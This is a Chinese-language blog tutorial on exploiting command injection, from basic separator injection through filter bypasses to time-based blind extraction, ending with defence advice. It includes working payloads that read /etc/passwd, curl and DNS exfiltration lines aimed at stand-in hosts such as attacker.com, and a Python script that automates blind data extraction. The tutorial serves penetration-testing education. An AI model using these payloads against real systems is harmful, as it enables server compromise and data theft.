命令注入(Command Injection)是 Web 安全领域中危害极高的一类漏洞。当应用程序将用户输入未经过滤地拼接到系统命令中执行时,攻击者便可能借此在服务器上执行任意命令,从而完全控制目标系统。本文将从基础的分号绕过讲起,逐步深入到盲注场景下的时间延迟利用,结合实战思路与 Payload 构造,帮助读者系统掌握命令注入的利用技巧。
一、命令注入的基本原理
命令注入通常发生在应用程序调用系统命令的场景中,例如 PHP 的 system()、exec()、shell_exec(),Python 的 os.system()、subprocess,以及 Java 的 Runtime.exec() 等。当用户输入被直接拼接到命令字符串中,且未做充分过滤时,攻击者就可以通过命令分隔符注入额外的命令。
一个典型的脆弱代码如下:
<?php
$ip = $_GET['ip'];
system("ping -c 4 " . $ip);
?>
正常情况下,用户传入 127.0.0.1,服务器执行 ping -c 4 127.0.0.1。但如果攻击者传入 127.0.0.1; whoami,实际执行的命令就变成了:
ping -c 4 127.0.0.1; whoami
分号 ; 使得 whoami 作为独立命令被执行,攻击者因此获得了命令执行的能力。
二、常见命令分隔符与绕过技巧
1. 命令分隔符
在 Linux Shell 中,常用的命令分隔符包括:
;:顺序执行,无论前一条命令是否成功|:管道,将前一条命令的输出作为后一条命令的输入||:逻辑或,前一条命令失败时执行后一条&&:逻辑与,前一条命令成功时执行后一条&:后台执行%0a(换行符):在某些环境下也可作为命令分隔符
例如:
127.0.0.1 | whoami
127.0.0.1 || whoami
127.0.0.1 && whoami
127.0.0.1 %0a whoami
2. 空格绕过
当空格被过滤时,可以使用以下替代方式:
${IFS}:Shell 内部字段分隔符,默认包含空格、制表符和换行符$IFS$9:$9是当前脚本的第 9 个参数,通常为空,可用来截断<重定向:如cat<flag.txt{cat,flag.txt}:花括号扩展
示例:
127.0.0.1;cat${IFS}/etc/passwd
127.0.0.1;cat$IFS$9/etc/passwd
3. 关键字绕过
当 cat、whoami 等命令被黑名单过滤时,可以尝试:
- 使用变量拼接:
a=ca;b=t;$a$b /etc/passwd - 使用通配符:
/bin/ca* /etc/passwd - 使用编码:
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash - 使用反斜杠:
c\at /etc/passwd - 使用
$@或$*:ca$@t /etc/passwd
4. 无回显场景的初步判断
当命令执行后没有回显时,可以通过以下方式判断漏洞是否存在:
- 使用
sleep命令观察响应时间 - 使用
curl或wget向外发起请求,通过 DNSLog 或 HTTP 日志平台验证 - 将命令结果写入 Web 目录后访问
例如:
127.0.0.1; sleep 5
127.0.0.1; curl http://your-dnslog-domain.com/`whoami`
127.0.0.1; ping -c 2 `whoami`.your-dnslog-domain.com
三、盲注场景下的时间延迟利用
在实际渗透测试中,很多命令注入漏洞属于“盲注”——即命令执行的结果不会直接返回给前端。此时,时间延迟(Time-based)技术就成为最可靠的验证与利用手段。
1. 基本原理
时间盲注的核心思想是:通过构造条件判断,让命令在条件成立时产生明显的延迟,从而根据响应时间推断信息。常用的延迟命令有:
sleep 5ping -c 5 127.0.0.1timeout 5 ...
2. 判断漏洞是否存在
假设目标参数为 ip,我们传入:
127.0.0.1; sleep 5
如果服务器响应时间明显增加约 5 秒,则说明命令注入存在。若分号被过滤,可尝试:
127.0.0.1 | sleep 5
127.0.0.1 || sleep 5
127.0.0.1 && sleep 5
127.0.0.1 `sleep 5`
127.0.0.1 $(sleep 5)
3. 逐字符提取数据
在确认漏洞存在后,可以利用条件判断逐字符提取敏感信息。例如,我们想获取当前数据库用户名的第一个字符,可以构造:
127.0.0.1; if [ $(whoami | cut -c 1) = "r" ]; then sleep 5; fi
如果响应延迟 5 秒,说明第一个字符是 r;否则不是。通过遍历字符集,即可逐位还原出完整信息。
更高效的写法是使用 substr 与 case:
127.0.0.1; case $(whoami | cut -c 1) in r) sleep 5;; esac
或者利用 grep 进行匹配:
127.0.0.1; whoami | grep -q "^r" && sleep 5
4. 结合 DNSLog 与外带通道
时间盲注虽然可靠,但效率较低。如果目标服务器可以出网,可以结合 DNSLog 实现外带数据:
127.0.0.1; curl http://`whoami`.attacker.com
127.0.0.1; ping -c 1 `cat /etc/passwd | base64 | head -c 20`.attacker.com
通过 DNS 查询日志,攻击者可以快速获取命令执行结果,尤其适用于无回显且时间盲注效率低下的场景。
5. 自动化利用思路
手工逐字符盲注耗时较长,可以编写脚本自动化。基本流程如下:
- 确定注入点与可用的分隔符
- 确定延迟命令与延迟时间
- 确定要提取的数据(如
/etc/passwd、环境变量、数据库配置等) - 逐字符遍历 ASCII 码表,根据响应时间判断字符值
- 拼接结果,完成数据提取
一个简单的 Python 伪代码示例:
import requests
import time
url = "http://target.com/ping.php"
chars = "abcdefghijklmnopqrstuvwxyz0123456789"
result = ""
for i in range(1, 20):
for c in chars:
payload = f"127.0.0.1; if [ $(whoami | cut -c {i}) = '{c}' ]; then sleep 3; fi"
start = time.time()
requests.get(url, params={"ip": payload})
elapsed = time.time() - start
if elapsed > 3:
result += c
break
else:
break
print(result)
四、防御建议
命令注入的危害极大,开发人员应从以下方面进行防御:
- 避免直接拼接用户输入到系统命令中,优先使用语言内置的 API 替代系统命令调用
- 使用参数化调用,如 PHP 的
escapeshellarg()和escapeshellcmd(),Python 的subprocess列表参数形式 - 严格白名单校验,对用户输入进行格式限制,如 IP 地址只允许数字和点
- 最小权限原则,Web 服务运行账户应限制权限,避免攻击者直接获取敏感文件
- 部署 WAF 与 RASP,对常见命令注入特征进行拦截与运行时防护
五、总结
命令注入漏洞从简单的分号拼接,到空格、关键字绕过,再到盲注场景下的时间延迟与外带通道利用,攻击手法层层递进。理解这些技术不仅有助于渗透测试人员发现和利用漏洞,更能帮助开发人员认识到输入过滤的重要性。在实际测试中,应始终在合法授权范围内进行,并遵循“最小影响”原则,避免对目标系统造成破坏。安全防御的核心在于:永远不要信任用户输入,永远不要将用户输入直接交给系统 Shell。
未经允许不得转载:任鹏个人博客 » 命令注入漏洞实战:从分号绕过到盲注时间延迟利用

